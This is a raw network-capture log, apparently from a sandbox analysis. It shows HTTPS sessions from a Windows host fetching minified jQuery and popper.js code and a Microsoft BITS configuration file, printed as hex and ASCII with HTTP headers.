2024-04-25 19:44:57 UTC	1378	IN	Data Raw: 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 64 65 70 72 65 63 61 74 65 64 2f 61 6a 61 78 2d 65 76 65 6e 74 2d 61 6c 69 61 73 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 22 2c 6c 3d 2f 48 54 4d 4c 24 2f 69 2c 63 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 63 65 2e 66 6e 2e 69 6e 69 74 28 65 2c 74 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 76 61 72 20 74 3d 21 21 65 26 26 22 6c 65 6e 67 74 68 22 69 6e Data Ascii: ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-deprecated/ajax-event-alias,-effects,-effects/animatedSelector,-effects/Tween",l=/HTML$/i,ce=function(e,t){return new ce.fn.init(e,t)};function c(e){var t=!!e&&"length"in
2024-04-25 19:44:57 UTC	1378	IN	Data Raw: 7d 2c 73 3d 31 2c 75 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6c 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 61 26 26 28 6c 3d 61 2c 61 3d 61 72 67 75 6d 65 6e 74 73 5b 73 5d 7c 7c 7b 7d 2c 73 2b 2b 29 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 76 28 61 29 7c 7c 28 61 3d 7b 7d 29 2c 73 3d 3d 3d 75 26 26 28 61 3d 74 68 69 73 2c 73 2d 2d 29 3b 73 3c 75 3b 73 2b 2b 29 69 66 28 6e 75 6c 6c 21 3d 28 65 3d 61 72 67 75 6d 65 6e 74 73 5b 73 5d 29 29 66 6f 72 28 74 20 69 6e 20 65 29 72 3d 65 5b 74 5d 2c 22 5f 5f 70 72 6f 74 6f 5f 5f 22 21 3d 3d 74 26 26 61 21 3d 3d 72 26 26 28 6c 26 26 72 26 26 28 63 65 2e 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 28 72 29 7c 7c 28 69 3d 41 72 72 61 79 2e 69 73 41 72 Data Ascii: },s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|v(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(ce.isPlainObject(r)\|\|(i=Array.isAr
2024-04-25 19:44:57 UTC	1378	IN	Data Raw: 74 7c 7c 65 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 72 65 74 75 72 6e 21 6c 2e 74 65 73 74 28 74 7c 7c 6e 26 26 6e 2e 6e 6f 64 65 4e 61 6d 65 7c 7c 22 48 54 4d 4c 22 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b 2b 5d 3d 74 5b 72 5d 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3d 69 2c 65 7d 2c 67 72 65 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 65 2e 6c 65 6e 67 74 68 2c 61 3d 21 6e 3b 69 3c 6f 3b 69 2b 2b 29 21 74 28 65 5b 69 5d 2c 69 29 21 3d 3d 61 26 26 72 2e 70 75 73 68 28 65 5b 69 5d 29 3b 72 65 74 75 72 Data Ascii: t\|\|e).documentElement;return!l.test(t\|\|n&&n.nodeName\|\|"HTML")},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);retur
2024-04-25 19:44:57 UTC	1378	IN	Data Raw: 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 74 3d 22 28 3f 3a 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 67 65 2b 22 3f 7c 5c 5c 5c 5c 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 7c 5b 5c 5c 77 2d 5d 7c 5b 5e 5c 30 2d 5c 5c 78 37 66 5d 29 2b 22 2c 64 3d 22 5c 5c 5b 22 2b 67 65 2b 22 2a 28 22 2b 74 2b 22 29 28 3f 3a 22 2b 67 65 2b 22 2a 28 5b 2a 5e 24 7c 21 7e 5d 3f 3d 29 22 2b 67 65 2b 22 2a 28 3f 3a 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 74 2b 22 29 29 7c 29 22 2b Data Ascii: disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",t="(?:\\\\[\\da-fA-F]{1,6}"+ge+"?\|\\\\[^\\r\\n\\f]\|[\\w-]\|[^\0-\\x7f])+",d="\\["+ge+"("+t+")(?:"+ge+"([^$\|!~]?=)"+ge+"(?:'((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+t+"))\|)"+
2024-04-25 19:44:57 UTC	1378	IN	Data Raw: 64 73 65 74 22 29 7d 2c 7b 64 69 72 3a 22 70 61 72 65 6e 74 4e 6f 64 65 22 2c 6e 65 78 74 3a 22 6c 65 67 65 6e 64 22 7d 29 3b 74 72 79 7b 45 2e 61 70 70 6c 79 28 6f 65 3d 61 65 2e 63 61 6c 6c 28 79 65 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 79 65 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 6f 65 5b 79 65 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 45 3d 7b 61 70 70 6c 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6d 65 2e 61 70 70 6c 79 28 65 2c 61 65 2e 63 61 6c 6c 28 74 29 29 7d 2c 63 61 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6d 65 2e 61 70 70 6c 79 28 65 2c 61 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 28 74 2c 65 2c 6e 2c 72 Data Ascii: dset")},{dir:"parentNode",next:"legend"});try{E.apply(oe=ae.call(ye.childNodes),ye.childNodes),oe[ye.childNodes.length].nodeType}catch(e){E={apply:function(e,t){me.apply(e,ae.call(t))},call:function(e){me.apply(e,ae.call(arguments,1))}}}function I(t,e,n,r
2024-04-25 19:44:57 UTC	1378	IN	Data Raw: 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 24 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 65 28 65 2c 22 69 6e 70 75 74 22 29 26 26 65 2e 74 79 70 65 3d 3d 3d 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 5f 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 28 66 65 28 65 2c 22 69 6e 70 75 74 22 29 7c 7c 66 65 28 65 2c 22 62 75 74 74 6f 6e 22 29 29 26 26 65 2e 74 79 70 65 3d 3d 3d 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 Data Ascii: eturn!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function $(t){return function(e){return fe(e,"input")&&e.type===t}}function _(t){return function(e){return(fe(e,"input")\|\|fe(e,"button"))&&e.type===t}}function z(t){return function(e){retur
2024-04-25 19:44:57 UTC	1378	IN	Data Raw: 75 72 6e 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 74 7d 7d 2c 78 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 54 29 7b 76 61 72 20 6e 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 72 65 74 75 72 6e 20 6e 3f 5b 6e 5d 3a 5b 5d 7d 7d 29 3a 28 78 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 48 2c 71 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 Data Ascii: urn e.getAttribute("id")===t}},x.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&T){var n=t.getElementById(e);return n?[n]:[]}}):(x.filter.ID=function(e){var n=e.replace(H,q);return function(e){var t="undefined"!=typeof e.getAttributeNode&&
2024-04-25 19:44:57 UTC	1378	IN	Data Raw: 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 64 69 73 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 70 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 28 74 3d 43 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 22 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 27 27 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 70 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 67 65 2b 22 2a 6e 61 6d 65 22 2b 67 65 2b 22 2a 3d 22 2b 67 65 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 7d 29 2c 6c 65 2e 63 73 73 48 61 73 7c 7c 70 2e 70 75 73 68 28 22 Data Ascii: ==e.querySelectorAll(":disabled").length&&p.push(":enabled",":disabled"),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length\|\|p.push("\\["+ge+"name"+ge+"="+ge+"*(?:''\|\"\")")}),le.cssHas\|\|p.push("
2024-04-25 19:44:57 UTC	1378	IN	Data Raw: 61 62 6c 65 26 26 61 65 2e 63 61 6c 6c 28 65 2c 30 29 2c 70 65 2e 63 61 6c 6c 28 65 2c 6c 29 2c 61 29 7b 77 68 69 6c 65 28 74 3d 65 5b 69 2b 2b 5d 29 74 3d 3d 3d 65 5b 69 5d 26 26 28 72 3d 6e 2e 70 75 73 68 28 69 29 29 3b 77 68 69 6c 65 28 72 2d 2d 29 68 65 2e 63 61 6c 6c 28 65 2c 6e 5b 72 5d 2c 31 29 7d 72 65 74 75 72 6e 20 6f 3d 6e 75 6c 6c 2c 65 7d 2c 63 65 2e 66 6e 2e 75 6e 69 71 75 65 53 6f 72 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 63 65 2e 75 6e 69 71 75 65 53 6f 72 74 28 61 65 2e 61 70 70 6c 79 28 74 68 69 73 29 29 29 7d 2c 28 78 3d 63 65 2e 65 78 70 72 3d 7b 63 61 63 68 65 4c 65 6e 67 74 68 3a 35 30 2c 63 72 65 61 74 65 50 73 65 75 64 6f 3a 42 2c 6d 61 74 63 68 3a 4e 2c 61 74 74 72 Data Ascii: able&&ae.call(e,0),pe.call(e,l),a){while(t=e[i++])t===e[i]&&(r=n.push(i));while(r--)he.call(e,n[r],1)}return o=null,e},ce.fn.uniqueSort=function(){return this.pushStack(ce.uniqueSort(ae.apply(this)))},(x=ce.expr={cacheLength:50,createPseudo:B,match:N,attr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49719	23.54.200.130	443

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:44:59 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-25 19:44:59 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0712) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=127096 Date: Thu, 25 Apr 2024 19:44:59 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49720	104.17.24.14	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:44:59 UTC	564	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:44:59 UTC	959	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 19:44:59 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 81552 Expires: Tue, 15 Apr 2025 19:44:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c9d5O1%2FAMEzrBsmuZrZuwdYvOR1kRK03FqXtvfuQCuk4uuumGG42F6gwfVRm7LPJDB8VMz9qNIzV1LhxhOVA1%2BKk%2FSQfcbzitW2SgoBbAvLk6kETrd0B0en7yIkbwXNWU7RjF%2FeR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 87a0d4b318c1ad80-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 19:44:59 UTC	410	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 Data Ascii: e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document'
2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 Data Ascii: var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['borde
2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e Data Ascii: :p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return
2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 Data Ascii: ht:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.wid
2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e Data Ascii: .warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instan
2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 Data Ascii: s.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passi
2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 Data Ascii: rn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){retu
